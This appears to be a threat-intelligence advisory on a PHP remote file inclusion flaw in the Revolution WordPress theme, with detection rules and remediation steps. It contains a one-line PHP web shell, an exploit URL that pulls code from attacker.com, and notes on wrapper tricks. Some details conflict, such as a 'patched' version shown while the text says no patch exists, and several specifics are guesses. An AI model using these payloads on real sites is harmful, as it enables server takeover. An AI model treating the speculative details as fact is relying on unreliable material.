CVE-2025-62066

Executive Summary

CVE-2025-62066 is a critical PHP Remote File Inclusion (RFI) vulnerability in the Revolution WordPress theme by Fuelthemes, affecting all versions prior to 2.5.8. The vulnerability stems from improper control of filenames used in include/require statements, allowing an unauthenticated attacker to include arbitrary remote files. This can lead to complete server compromise, data exfiltration, and lateral movement within the hosting environment. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the severity demands immediate attention.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. The theme is a commercial product, and the supply chain risk is elevated due to the lack of a patch. Organizations using this theme should treat it as a compromised component and consider removal or strict isolation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full file read and potential data exposure.
• Integrity (I): High (H) – Arbitrary code execution possible.
• Availability (A): High (H) – Full system compromise can lead to denial of service.

CVSS Score: 9.8 (Critical) – The vector string is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. This is a critical vulnerability that should be prioritized for remediation.

Deep Dive & Mechanics

The vulnerability exists in the revolution theme's PHP code, specifically in functions that handle file inclusion without proper sanitization. The theme likely uses a parameter (e.g., template, page, or include) to load template files dynamically. An attacker can manipulate this parameter to point to a remote URL hosting malicious PHP code.

Example vulnerable code pattern:

<?php
$template = $_GET['template'];
include($template . '.php');
?>

An attacker can exploit this by sending a request like:

http://target.com/?template=http://attacker.com/shell

The server will then include and execute http://attacker.com/shell.php, giving the attacker remote code execution.

The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'). This is a classic RFI flaw that has been exploited in many WordPress themes and plugins.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.5.8):

<?php
// vulnerable.php
$file = $_GET['file'];
include($file . '.php');
?>

Patched Code (version 2.5.8 and later):

<?php
// patched.php
$allowed_files = array('header', 'footer', 'sidebar');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include($file . '.php');
} else {
    // Handle error
}
?>

The patched version implements a whitelist of allowed files, preventing arbitrary inclusion. However, since no official patch is available, this is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install a vulnerable version of the Revolution theme (e.g., 2.5.7) on a WordPress instance.
2. Set up a remote server to host a malicious PHP file (e.g., shell.txt containing <?php system($_GET['cmd']); ?>).
3. Exploit the RFI:

   http://target.com/wp-content/themes/revolution/vulnerable.php?file=http://attacker.com/shell
   

   Note: The extension .php is appended automatically, so the remote file should be named shell.txt (or use a null byte injection if PHP version < 5.3.4).

Advanced Exploitation:

• Use php://input for POST data injection if allow_url_include is enabled.
• Use data:// URI scheme for inline code execution.

Blue Team

Detection:

• Monitor web server logs for suspicious file parameters containing http://, ftp://, or php://.
• Look for outbound connections from the web server to unknown IPs on port 80/443.
• Deploy WAF rules to block RFI attempts.

Hunting:

• Search for files modified recently in the wp-content/themes/revolution directory.
• Check for unexpected PHP files in the uploads directory.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to known malicious IPs or domains.
  • Requests containing file=http:// or file=php:// in the URI.
• File IOCs:
  • Unexpected PHP files in wp-content/uploads/ or wp-content/themes/revolution/.
  • Modified theme files with suspicious include statements.
• System IOCs:
  • Unusual processes running as www-data.
  • New cron jobs or systemd services.

Detection Engineering

YARA Rule

rule CVE_2025_62066_RFI_Revolution {
    meta:
        description = "Detects RFI attempts targeting CVE-2025-62066 in Revolution theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62066"
    strings:
        $suspicious_param = /[?&]file=(http|ftp|php|data):\/\// nocase
        $theme_path = "wp-content/themes/revolution"
    condition:
        $suspicious_param and $theme_path
}

Sigma Rule

title: CVE-2025-62066 RFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects RFI attempts targeting the Revolution theme
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains:
            - 'file=http://'
            - 'file=ftp://'
            - 'file=php://'
            - 'file=data://'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62066 RFI Attempt"; flow:to_server,established; content:"file="; http_uri; pcre:"/file=(http|ftp|php|data):\/\//i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Revolution theme and switch to a secure alternative.
2. Implement a Web Application Firewall (WAF) rule to block RFI patterns.
3. Disable allow_url_include in php.ini (set to Off).
4. Restrict outbound traffic from the web server using firewall rules.

Long-term Fix:

• Since no patch is available, consider forking the theme and applying the whitelist fix manually.
• Monitor the vendor's website for updates and apply immediately when available.
• Conduct a full security audit of all WordPress themes and plugins.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Analyst